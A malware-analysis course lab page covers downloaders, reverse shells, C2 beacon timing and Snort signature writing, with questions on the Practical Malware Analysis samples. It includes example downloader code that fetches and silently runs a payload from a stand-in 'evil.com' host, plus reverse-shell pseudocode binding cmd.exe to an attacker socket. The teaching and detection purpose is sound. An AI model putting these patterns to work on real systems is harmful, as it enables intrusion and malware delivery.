courses

Lab: Malware Network Behavior and Network Signatures

This lab draws on Practical Malware Analysis Chapters 11 (Malware Behavior) and 14 (Malware-Focused Network Signatures). The four tasks below map directly to the week 6 lab objectives.


Lab Tasks

  1. Identify a downloader: find the hard-coded URL or domain in static analysis, then confirm the download behavior in dynamic analysis.
  2. Capture a reverse shell: use Wireshark to record the connection and reconstruct the full command stream.
  3. Beacon interval analysis: use Wireshark Statistics → IO Graph to measure the C2 beacon interval.
  4. Write a Snort rule: create a Snort-compatible signature to detect the C2 traffic you observed.

Background: Identifying Downloaders (Ch. 11)

A downloader fetches a second-stage payload and executes it. The two most common API patterns are:

// High-level COM-based download (one call)
URLDownloadToFileA(NULL, "http://evil.com/payload.exe",
                   "C:\\Windows\\Temp\\p.exe", 0, NULL);
WinExec("C:\\Windows\\Temp\\p.exe", SW_HIDE);

// WinINet manual download
HINTERNET h = InternetOpen("Mozilla/4.0", INTERNET_OPEN_TYPE_DIRECT, 0, 0, 0);
HINTERNET u = InternetOpenUrl(h, L"http://evil.com/payload.exe", 0, 0, 0, 0);
InternetReadFile(u, buf, sizeof(buf), &read);

Static analysis checklist:

Dynamic analysis confirmation:


Background: Reverse Shells (Ch. 11)

How Windows reverse shells work

The basic implementation uses CreateProcess with a STARTUPINFO structure where hStdInput, hStdOutput, and hStdError are all set to the same socket handle. This ties cmd.exe I/O directly to the attacker’s TCP connection.

Socket → connect(attacker_ip, port)
STARTUPINFO.hStdInput  = socket
STARTUPINFO.hStdOutput = socket
STARTUPINFO.hStdError  = socket
CreateProcess("cmd.exe", ..., STARTUPINFO, ...)

The multithreaded variant uses CreatePipe + two threads (one reads stdin pipe and writes to socket; one reads from socket and writes to stdout pipe), which allows data encoding between the shell and the network. Look for API calls to CreateThread, CreatePipe, and a socket connect.

What to look for in assembly: a call to CreateProcess immediately preceded by a STARTUPINFO structure where the hStd* fields are loaded from the same register that holds the connected socket handle.

Capturing in Wireshark

  1. Start capture before running the sample (with INetSim providing the listener or with a separate netcat listener).
  2. Filter: tcp.port == 4444 (or whatever port the sample uses).
  3. Right-click the stream → Follow → TCP Stream to reconstruct the full shell session.
  4. The stream will show the commands the C2 sent and the output the shell returned.

Background: Network Signatures (Ch. 14)

From network indicators to signatures

A single run typically yields three types of indicators:

Indicator type Example Stability
Domain name (with resolved IP) www.badsite.com (123.123.123.10) Medium — attacker can change
IP address (standalone) 123.64.64.64 Low — trivial to change
Content-based (HTTP fields, URI pattern) User-Agent: Wefa7e High — requires code change

Content-based indicators are most valuable because the attacker must modify compiled code to evade them.

Identifying the networking API

Three API families are used; the one present in the import table determines what headers and fields to look for:

WinSock API WinINet API COM interface
WSAStartup InternetOpen URLDownloadToFile
socket / connect InternetConnect CoInitialize
send / recv InternetReadFile CoCreateInstance
WSAGetLastError HTTPOpenRequest Navigate
  HTTPSendRequest  

WinINet and COM produce traffic that looks more like a browser (same User-Agent construction path), making signatures harder to write. WinSock requires more manual content generation, which often introduces mistakes useful as signature anchors.

Sources of network content

Network data originates from one of five sources — this determines whether it can be used in a signature:

Source Example Signature value
Hard-coded in malware Fixed User-Agent string High — stable across hosts and runs
Host attributes gethostbyname(), CPU speed Medium — stable per host, varies between hosts
Time-derived GetTickCount Low — varies each run (but length/encoding may be stable)
Random data rand() call None for content — but length/character set may be stable
Standard library output HTTP boilerplate from HTTPSendRequest None — identical to legitimate traffic

Beacon interval analysis

  1. Open the capture in Wireshark.
  2. Statistics → IO Graph.
  3. Set the x-axis interval to 1s or 5s depending on suspected period.
  4. Watch for a regular spike pattern in the TCP packet count — that period is the beacon interval.
  5. Confirm by filtering ip.dst == <c2_ip> and examining the Time column in the packet list for consistent gaps.

A consistent interval is itself a signature element: combine it with a dsize or threshold clause in Snort.

Snort rule structure

A Snort rule has two parts: a header and options.

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS \
    (msg:"TROJAN Malicious Beacon"; \
     content:"User-Agent: Wefa7e"; \
     classtype:trojan-activity; sid:9000001; rev:1;)

Rule options reference:

Keyword Purpose
msg Alert message string
content Byte string to match in payload
uricontent Match in HTTP URI specifically
pcre Perl-compatible regular expression
flow established,to_server or established,to_client
isdataat Assert data exists at a position (optionally relative to last match)
distance Bytes to skip after previous content match
within Maximum bytes to search after previous match
nocase Case-insensitive content match
classtype Rule category (e.g., trojan-activity)
sid Unique rule ID
rev Rule revision number
reference Link to external documentation

Pipe symbols enclose hex byte values: |0d 0a| represents CRLF.

Avoiding false positives:

Writing resilient rules:


Lab Files: Chapter 11

Lab files are distributed as a password-protected 7-Zip archive in the PracticalMalwareAnalysis-Labs repository on GitHub. Clone the repo and extract the archive inside your analysis VM (most AV products will quarantine the binaries the moment they hit disk):

$ git clone https://github.com/mikesiko/PracticalMalwareAnalysis-Labs.git
$ cd PracticalMalwareAnalysis-Labs
$ 7z x PracticalMalwareAnalysis-Labs.7z -pmalware

After extraction, each chapter’s files are under BinaryCollection/Chapter_<N>L/.

Lab 11-1 — Lab11-01.exe

Analyze this sample for downloader and credential-stealing behavior.

  1. What does the malware drop to disk?
  2. How does the malware achieve persistence?
  3. How does the malware steal user credentials?
  4. What does the malware do with stolen credentials?
  5. How can you use this malware to capture credentials from your test environment?

Hints: Check imports for URLDownloadToFileA and WinExec. Look for registry writes to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL — a GINA interceptor exports functions prefixed with Wlx. Run it in your analysis VM with Wireshark and INetSim active to see the credential exfiltration traffic.

Lab 11-2 — Lab11-02.dll + Lab11-02.ini

Analyze this DLL sample. Lab11-02.ini was found alongside it.

  1. What are the exports for this DLL?
  2. What happens after installing with rundll32.exe?
  3. Where must Lab11-02.ini reside for proper installation?
  4. How is this malware installed for persistence?
  5. What user-space rootkit technique does it employ?
  6. What does the hooking code do?
  7. Which processes does it attack and why?
  8. What is the significance of the .ini file?
  9. How can you dynamically capture this malware’s activity with Wireshark?

Hints: IAT hooking replaces function pointers in the Import Address Table; inline hooking overwrites the first bytes of the target function with a jmp to malicious code. Use Process Monitor to watch for .ini file reads. In Wireshark, use Follow TCP Stream to reconstruct the exfiltrated data.

Lab 11-3 — Lab11-03.exe + Lab11-03.dll

Both files must be in the same directory during analysis.

  1. What interesting leads does basic static analysis reveal?
  2. What happens when you run the malware?
  3. How does Lab11-03.exe persistently install Lab11-03.dll?
  4. Which Windows system file does the malware infect?
  5. What does Lab11-03.dll do?
  6. Where does the malware store collected data?

Hints: Trojanized binaries patch the entry point of a legitimate DLL to jump to malicious code. Compare the MD5 of the suspected infected system binary with a known-good version. The malicious code typically does a pusha / popa to preserve registers, loads the payload, then jumps back to the original entry point.


Lab Files: Chapter 14

These labs focus on identifying and writing network signatures. Each lab builds on the previous.

Lab 14-1 — Lab14-01.exe

  1. Which networking libraries does the malware use, and what are their advantages?
  2. What source elements construct the networking beacon, and what conditions change it?
  3. Why might the embedded beacon information interest the attacker?
  4. Does the malware use standard Base64 encoding? If not, how is it unusual?
  5. What is the overall purpose of this malware?
  6. Which elements of the communication can be effectively detected by a network signature?
  7. What mistakes might analysts make trying to develop a signature?
  8. What set of signatures would detect this malware (including future variants)?

Approach: Run the malware under INetSim, capture traffic, then open in Wireshark. Identify the User-Agent string — is it hard-coded? Run it several times and compare the URI: if the URI changes but shares a structure, extract the static separators. Use static analysis (InternetOpen parameter) to find the hard-coded User-Agent. Map each field of the URI to its API source (GetTickCount, Random, gethostbyname) to determine what can and cannot anchor a signature.

Lab 14-2 — Lab14-02.exe

This sample beacons to a hard-coded loopback address (safe to run).

  1. What are the advantages and disadvantages of using direct IP addresses?
  2. Which networking libraries does this malware use?
  3. What is the source of the URL used for beaconing?
  4. Which aspect of HTTP does the malware leverage?
  5. What kind of information is in the initial beacon?
  6. What are the disadvantages in the design of the communication channels?
  7. Is the encoding scheme standard?
  8. How is communication terminated?
  9. What is the purpose of this malware?

Approach: Using direct IP addresses avoids DNS but makes the indicator trivial to block once the IP is known. Compare the networking API family (WinINet vs. WinSock) with Lab 14-1 and note the different evasion tradeoffs.

Lab 14-3 — Lab14-03.exe

This lab builds on Lab 14-1 and represents an improved version of the same malware family.

  1. What hard-coded elements are in the initial beacon? Which make good signature elements?
  2. Which beacon elements are not suited for a long-lasting signature?
  3. How does the malware obtain commands? What chapter example used a similar approach?
  4. When the malware receives input, what validation checks does it perform, and how does it hide the command list?
  5. What encoding is used for command arguments? How does it differ from standard Base64?
  6. What commands are available?
  7. What is the purpose of this malware?
  8. What distinct areas of code or configuration can be targeted by independent signatures?
  9. What set of signatures should be used?

Approach: This sample embeds commands inside HTML comment fields (<!-- adsrv?<base64> -->). Find the parsing function by working backward from the network receive call. The command prefix (adsrv?) is a strong static anchor. Write separate signatures for the beacon and the command channel so that if the attacker modifies one, the other still fires.


Suggested Workflow for All Four Lab Tasks

Task 1 — Find the downloader URL

  1. Open the sample in IDA or Ghidra (or run strings / floss).
  2. Search for http:// or https:// strings.
  3. Check imports for URLDownloadToFile, InternetOpenUrl, WinExec.
  4. Run under INetSim; filter Wireshark on http to confirm the GET request and the domain queried.
  5. Note the User-Agent string — it is often hard-coded and usable in a signature.

Task 2 — Capture the reverse shell

  1. Start a Wireshark capture and INetSim (or a manual nc -lvp <port> listener).
  2. Run the sample; let it connect.
  3. Filter: tcp.port == <port>.
  4. Right-click any packet in the stream → Follow → TCP Stream.
  5. The reconstructed stream shows the shell prompt and any issued commands.

Task 3 — Measure the beacon interval

  1. Capture 5+ minutes of traffic with the sample running.
  2. Statistics → IO Graph.
  3. Set x-axis interval to 5s; look for a regular spike.
  4. Zoom to confirm the period is consistent (± a few seconds of jitter is normal).
  5. Report the interval in seconds and note whether it changes after initial check-in.

Task 4 — Write the Snort rule

  1. Identify the most stable element in the traffic (typically the User-Agent or a URI pattern).
  2. Run the malware at least three times and compare outputs — exclude anything that differs.
  3. Check whether the Referer header is absent (common malware tell).
  4. Draft a rule targeting the stable element plus the absent header:
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS \
    (msg:"TROJAN Lab Beacon"; \
     content:"User-Agent: <static_string>"; \
     content:!"|0d 0a|Referer:"; \
     classtype:trojan-activity; sid:9000100; rev:1;)
  1. If the URI contains encoded data, use pcre to match the stable structure while allowing the variable portions to vary.
  2. Consider writing a second rule targeting a different aspect of the communication so that partial code changes by the attacker do not silence all detection.

Tools Summary

Tool Use in this lab
IDA Pro / Ghidra Static analysis: find URL strings, identify networking API, trace encoding logic
Wireshark Capture traffic, Follow TCP Stream, IO Graph for beacon interval
INetSim / FakeNet-NG Simulate network services so the malware proceeds past connectivity checks
Process Monitor Watch file writes, registry modifications during downloader execution
strings / floss Quick extraction of URLs, User-Agent strings, and encoded blobs
Snort / Suricata Load and test your signature against the capture

Further Reading